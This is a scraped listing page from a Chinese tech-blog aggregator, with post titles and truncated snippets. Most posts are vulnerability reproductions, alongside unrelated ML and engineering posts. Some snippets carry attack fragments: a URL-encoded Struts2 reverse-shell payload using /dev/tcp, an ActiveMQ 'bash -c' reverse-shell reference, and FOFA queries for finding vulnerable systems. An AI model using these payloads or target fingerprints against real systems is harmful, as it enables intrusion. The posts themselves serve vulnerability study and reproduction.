复现STGCN

漏洞复现--Apache Ofbiz XML-RPC RCE（CVE-2023-49070）

免责声明：文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负责一：漏洞描述近日，亚信安全CERT监控到ApacheOFBiz发布更新公告，修复了ApacheOFBiz中的一个未授
芝士土包鼠·2024-01-12 06:13

APACHE OFBIZ XML-RPC 反序列化漏洞 (CVE-2020-9496) 的复现与分析

1.1状态完成漏洞挖掘条件分析、漏洞复现。
奇安信代码卫士·2024-01-12 06:13

CVE-2020-9496 Apache OFBiz XML-RPC反序列化漏洞复现

1.1OFBiz1.2漏洞简述1.3风险等级1.4影响范围1.5漏洞详情2.环境配置2.1方案一：vlufocus在线平台2.2方案二：在docker中搭建在GitHub中搜索并下载vulhub2.3访问测试注：3.漏洞复现
ImShadowven·2024-01-12 06:11

CVE-2023-49070：Apache Ofbiz XML-RPC远程命令执行漏洞复现[附POC]

文章目录ApacheOfbizXML-RPC远程命令执行漏洞复现（CVE-2023-49070）[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2
gaynell·2024-01-12 06:09

73应急响应-Web分析php&javaWeb&自动化工具

我感觉学完渗透自然就会应急响应，之前又发过应急响应的文章应急响应笔记就开始比较潦草应急响应基础知识应急响应流程保护阶段（断网，避免继续渗透；备份），分析阶段（分析攻击行为，找对应漏洞），复现阶段，修复阶段
san3144393495·2024-01-12 05:15

【精选】 dockerFile 使用简介 （超详细）

博主介绍‍博主介绍：大家好，我是hacker-routing，很高兴认识大家~✨主攻领域：【渗透领域】【应急响应】【python】【VulnHub靶场复现】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连
hacker-routing·2024-01-12 04:43

【精选】小白 kali环境的linux基础设置 （超详细）

博主介绍‍博主介绍：大家好，我是hacker-routing，很高兴认识大家~✨主攻领域：【渗透领域】【应急响应】【python】【VulnHub靶场复现】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连
hacker-routing·2024-01-12 04:43

全国(山东、安徽)职业技能大赛--“司法技术”赛项--设备题目+解析

博主介绍‍博主介绍：大家好，我是hacker-routing，很高兴认识大家~✨主攻领域：【渗透领域】【应急响应】【python】【VulnHub靶场复现】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连
hacker-routing·2024-01-12 04:12

【精选】小白学习Linux操作系统\基础命令 （超详细）

博主介绍‍博主介绍：大家好，我是hacker-routing，很高兴认识大家~✨主攻领域：【渗透领域】【应急响应】【python】【VulnHub靶场复现】【面试分析】点赞➕评论➕收藏==养成习惯（一键三连
hacker-routing·2024-01-12 04:41

先锋WEB燃气收费系统 Upload.aspx 文件上传漏洞复现

0x01产品简介先锋WEB燃气收费系统是一种先进的在线燃气收费解决方案，旨在简化和优化燃气收费的流程和管理。该系统基于Web平台，提供了一系列功能和工具，使燃气公司能够高效地进行收费、账单管理和客户服务。0x02漏洞概述先锋WEB燃气收费系统/AjaxService/Upload.aspx接口处存在文件上传漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而
OidBoy_G·2024-01-12 03:12

先锋WEB燃气收费系统文件上传漏洞

指纹特征app="先锋WEB燃气收费系统"漏洞复现访问http://ip:port/AjaxService/Upload.aspx验证出现以下情况表明存在漏洞POST/AjaxService/Upload.aspxHTTP
LZsec·2024-01-12 03:12

Ncast盈可视 高清智能录播系统 IPSetup.php信息泄露+RCE漏洞复现(CVE-2024-0305)

0x01产品简介Ncast盈可视高清智能录播系统是广州盈可视电子科技有限公司一种先进的音视频录制和播放解决方案，旨在提供高质量、高清定制的录播体验。该系统采用先进的摄像和音频技术，结合强大的软件平台，可以实现高清视频录制、多路音频采集、实时切换和混音、定制视频分析等功能。0x02漏洞概述广州盈可视电子科技有限公司高清智能录播系统可通过访客身份未授权访问/manage/IPSetup.php后台功能
OidBoy_G·2024-01-12 01:27

金和OA jc6 GetAttOut SQL注入漏洞复现

0x01产品简介金和OA协同办公管理系统软件（简称金和OA），本着简单、适用、高效的原则，贴合企事业单位的实际需求，实行通用化、标准化、智能化、人性化的产品设计，充分体现企事业单位规范管理、提高办公效率的核心思想，为用户提供一整套标准的办公自动化解决方案，以帮助企事业单位迅速建立便捷规范的办公环境。0x02漏洞概述金和OAjc6GetAttOut接口处存在SQL注入漏洞，攻击者除了可以利用SQL注
OidBoy_G·2024-01-11 23:33

Yearning front 任意文件读取漏洞复现

0x03复现环境FOFA：app="Yearning"0x04漏洞复现Po
OidBoy_G·2024-01-11 23:32

用友U8+CRM 逻辑漏洞登录后台漏洞复现

0x03复现环境FOFA：app="用友U8CRM"0x04漏洞
OidBoy_G·2024-01-11 23:30

Yolov 8源码超详细逐行解读+ 网络结构细讲(自我用的小白笔记)

YOLOV8网络结构由于作者之前的Yolov8复现受到了部分好评，所以决定继续从小白学习路线，进行复现代码，磕代码，学理论知识。
咕哥·2024-01-11 19:28

用友移动管理系统 upload任意文件上传漏洞

资产测绘app=“用友-移动系统管理”漏洞复现POST/mobsm/common/upload?category=../w
keepb1ue·2024-01-11 19:53

世邦通信 SPON IP网络对讲广播系统addscenedata.php任意文件上传漏洞

漏洞描述sponIP网络对讲广播系统存在任意文件上传漏洞，攻击者可以通过构造特殊请求包上传恶意后门文件，从而获取服务器权限资产测绘icon_hash=“-1830859634”漏洞复现POST/php/
keepb1ue·2024-01-11 19:20

世邦通信SPON IP网络对讲广播系统rj_get_token.php 任意文件读取漏洞

资产测绘icon_hash=“-1830859634”漏洞复现POST/php/rj_get_token.phpHT
keepb1ue·2024-01-11 16:09

Every derived table must have its own alias

错误复现：在写带有子查询或者在查询时产生临时表的查询时，可能会出现这个错误：ERROR1248(42000):Everyderivedtablemusthaveitsownalias意思是「每一个派生出来的表都必须给它命名一个自己的别名
Myovlmx·2024-01-11 15:45

SPON世邦 IP网络对讲广播系统 多处文件上传漏洞复现

0x03复现环境FOFA：icon_hash="-183
OidBoy_G·2024-01-11 13:47

华硕飞行堡垒FX53VD键盘全部失灵【除电源键】

故障排查二、发现问题三、使用方法总结前言版本型号：型号ASUSFX53VD（华硕-飞行堡垒）板号：GL553VD故障情况描述：键盘无法使用，键盘除开机键外全部失灵，关机后，如果没断电，键盘常亮打开机器，故障复现
BridgeCloud·2024-01-11 13:17

CVE-2018-8174漏洞复现

复现环境windows7kali漏洞复现
网络安全（阿逸）·2024-01-11 12:14

从零开始复现BERT，并进行预训练和微调

从零开始复现BERT代码地址：https://gitee.com/guojialiang2023/bert模型BERT是一种基于Transformer架构的大型预训练模型，它通过学习大量文本数据来理解语言的深层次结构和含义
青云遮夜雨·2024-01-11 11:28

【沉淀之华】SpringBoot配置原生HikariCP数据源两次初始化过程剖析 & 服务器与本地完全一致却不同数据源结果定位

文章目录背景介绍场景复现溯源彩蛋背景介绍JDK版本：1.8SpringBoot：2.2.3.RELEASE整合原生Hikari数据源连接池IDEA：2023.1再保证服务器和本地的启动参数、apollo
浮~沉·2024-01-11 10:12

vue 实现用户登录验证+权限管理+动态路由

vue实现用户登录验证+权限管理+动态路由近期要实现一个公安偷窃案件管理系统的登陆功能，搜遍网上发现没有能直接copy的代码，只好自己摸索踩坑，好死不死终于脱坑，这边把实现过程尽可能详细复现一遍，就不展开原理说明
土著零·2024-01-11 10:17

文章解读与仿真程序复现思路——电网技术EI\CSCD\北大核心《考虑电氢耦合和碳交易的电氢能源系统置信间隙鲁棒规划》

本专栏栏目提供文章与程序复现思路，具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》这标题涉及到一个复杂的能源系统规划问题，其中考虑了电氢耦合、碳交易和置信间隙鲁棒规划。
电网论文源程序·2024-01-11 10:57

文章解读与仿真程序复现思路——电网技术EI\CSCD\北大核心《考虑多元不确定性和备用需求的微电网双层鲁棒容量规划》

本专栏栏目提供文章与程序复现思路，具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》这个标题涉及微电网（Microgrid）的双层鲁棒容量规划，考虑了多元不确定性和备用需求。
电网论文源程序·2024-01-11 10:56

文章解读与仿真程序复现思路——电网技术EI\CSCD\北大核心《计及储能参与的电能-调频-备用市场日前联合交易决策模型》

本专栏栏目提供文章与程序复现思路，具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》这个标题涉及到电能、调频和备用市场的联合交易决策模型，并特别考虑了储能在其中的参与。
电网论文源程序·2024-01-11 10:22

世邦通信 SPON IP网络对讲广播系统uploadjson.php任意文件上传漏洞

sponIP网络对讲广播系统uploadjson.php存在任意文件上传漏洞，攻击者可以通过构造特殊请求包上传恶意后门文件，从而获取服务器权限资产测绘icon_hash=“-1830859634”漏洞复现
keepb1ue·2024-01-11 08:15

【安徽省机器人大赛单片机与嵌入式赛道竞赛】C平台作品

目录一、比赛简介二、赛题说明（详细题目已经收走，凭记忆复现）1、设计目的：(1)每公里价格(RATE):(2)停车等待计时(TIME):(3)行走里程(KM):(4)行走耗费(FUEL):(5)停车等待耗费
LionelZhao·2024-01-11 08:41

Apache ActiveMQ RCE漏洞复现

ApacheActiveMQRCE漏洞复现（CNVD-2023-69477）1、漏洞版本ApacheActiveMQpingne5q0v.dnslog.cn反弹shell的poc.xmlbash-c&/
知鱼～·2024-01-11 07:09

HTTP.SYS远程代码执行漏洞验证及其复现(CVE-2015-1635蓝屏洞)

HTTP.SYS远程代码执行漏洞验证及其复现(CVE-2015-1635蓝屏洞)这里写目录标题HTTP.SYS远程代码执行漏洞验证及其复现(CVE-2015-1635蓝屏洞)漏洞概述http.sys介绍漏洞成因漏洞危害影响版本漏洞复现环境部署漏洞验证防护措施漏洞概述
SuperMan529·2024-01-11 06:20

R语言学习-GEO数据挖掘

根据教程准备试着处理一下GSE的其他数据，发现对于多组数据很难简单的复现，待后续探索完善再补更；先复习LINUX；（1）下载数据及读取rm(list=ls())options(stringsAsFactors
米粥的味道·2024-01-11 02:47

随机数种子seed

之前的方案只在train.py文件里添加了这两句代码，但是还不够importrandomrandom.seed(42)#保证随机结果可复现现在的方案在utils.py包里添加defseed_torch(
pythonSuperman·2024-01-11 02:10

浙大恩特客户资源管理系统 CrmBasicAction.entcrm任意文件上传

资产测绘title=“欢迎使用浙大恩特客户资源管理系统”漏洞复现POC如下：POS
keepb1ue·2024-01-10 23:28

世邦通信SPON IP网络对讲广播系统未授权访问

资产测绘icon_hash=“-1830859634”漏洞复现POST/php/getuserdata.php
keepb1ue·2024-01-10 23:58

世邦通信 SPON IP网络对讲广播系统后门账户

资产测绘icon_hash=“-1830859634”漏洞复现代码中可以看到，可以看到有固定写死的账户密码(脑子抽了一下。
keepb1ue·2024-01-10 23:57

【漏洞复现】锐捷RG-UAC统一上网行为管理系统信息泄露漏洞

Nx01产品简介锐捷网络成立于2000年1月，原名实达网络，2003年更名，自成立以来，一直扎根行业，深入场景进行解决方案设计和创新，并利用云计算、SDN、移动互联、大数据、物联网、AI等新技术为各行业用户提供场景化的数字解决方案，助力全行业数字化转型升级。Nx02漏洞描述锐捷RG-UAC统一上网行为管理审计系统存在信息泄露漏洞，攻击者可以通过审查网页源代码获取到用户账号和密码，导致管理员用户认证
晚风不及你ღ·2024-01-10 22:10

【漏洞复现】锐捷EG易网关cli.php后台命令执行漏洞

Nx01产品简介锐捷EG易网关是一款综合网关，由锐捷网络完全自主研发。它集成了先进的软硬件体系架构，配备了DPI深入分析引擎、行为分析/管理引擎，可以在保证网络出口高效转发的条件下，提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。Nx02漏洞描述锐捷EG易网关cli.php存在后台命令执行漏洞，此漏洞需要权限，可搭配login.php命令执行漏洞获取登陆密码结合使用。Nx03产
晚风不及你ღ·2024-01-10 22:37

宏景eHR fileDownLoad SQL注入漏洞复现

0x02漏洞概述宏景eHRfileDownLoad接口处存在SQL注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息0x03复现环境FOFA：app="HJSOFT-HCM
OidBoy_G·2024-01-10 22:24

蓝凌EIS智慧协同平台 ShowUserInfo.aspx SQL注入漏洞复现

0x03复现环境FOFA：app="La
OidBoy_G·2024-01-10 22:23

用友移动管理系统 多处文件上传漏洞复现

0x01产品简介用友移动系统管理是用友公司推出的一款移动办公解决方案，旨在帮助企业实现移动办公、提高管理效率和员工工作灵活性。它提供了一系列功能和工具，方便用户在移动设备上管理和处理企业的系统和业务。0x02漏洞概述用友移动管理系统/maportal/appmanager/uploadIcon.do、/mobsm/common/upload等接口存在任意文件上传漏洞，未经授权攻击者通过漏洞上传任意
OidBoy_G·2024-01-10 22:53

仿蓝奏云网盘 /file/list SQL注入漏洞复现

0x01产品简介仿蓝奏网盘是一种类似于百度网盘的文件存储和共享解决方案。它为用户提供了一个便捷的平台，可以上传、存储和分享各种类型的文件，方便用户在不同设备之间进行文件传输和访问。0x02漏洞概述仿蓝奏云网盘/file/list接口处存在SQL注入漏洞，登录后台的攻击者可以利用SQL注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，
OidBoy_G·2024-01-10 22:22

【揭秘APT攻击】——内网渗透实战攻略，带你领略网络安全的绝密世界！

内网渗透的目的：内网渗透常规流程：内网渗透技术内网渗透技术学习读者对象如何阅读一本书由浅入深实战和场景复现本书内容概要内网渗透基础（第1、2章）。环境准备与常用工具（第3章）。
Aileen_0v0·2024-01-10 20:19

Pytorch学习记录-基于CRF+BiLSTM的CGED

Pytorch学习记录-GEC语法纠错03五月第一周要结束了，接下来的三个月主要是文献阅读，准备8、9月的开题报告，技术类的文献集中在GEC和Textmaching的应用方面，读完之后找demo复现，然后应用
我的昵称违规了·2024-01-10 20:06

[漏洞复现]Grav CMS任意代码执行漏洞（CVE-2022-2073）

一、漏洞介绍GravCMS可以通过Twig来进行页面的渲染，使用了不安全的配置可以达到远程代码执行的效果，影响最新版v1.7.34以下的版本二、漏洞复现春秋云境.com一键梭哈开启场
free key·2024-01-10 18:52

[漏洞复现]Web Based Quiz System（CVE-2022-32991）

二、漏洞复现春秋云境.com一键梭哈，复制粘贴直接拿下开启场景“启动原神”ok,点完鼠标我们开始ctrl+c,ctrl+v这里加',会吧，不会退学吧这里加--+知道你们懒给你们打出来
free key·2024-01-10 18:52

[漏洞复现]Apache Struts2/S2-012 RCE（CVE-2013-1965）

二、漏洞复现春秋云境.com一键梭哈，复制粘贴直接拿下name=%25%7B%28%23cmd%3D%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fip%2Fpor
free key·2024-01-10 18:52

[漏洞复现]Apache_log4j2（CVE-2021-44228）

安全公告编号:CNTA-2021-00322021年12月10日，国家信息安全漏洞共享平台（CNVD）收录了ApacheLog4j2远程代码执行漏洞（CNVD-2021-95914）。攻击者利用该漏洞，可在未授权的情况下远程执行代码。目前，漏洞利用细节已公开，Apache官方已发布补丁修复该漏洞。CNVD建议受影响用户立即更新至最新版本，同时采取防范性措施避免漏洞攻击威胁。一、漏洞情况分析Apac
free key·2024-01-10 18:22
上一页 18 19 20 21 22 23 24 25 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他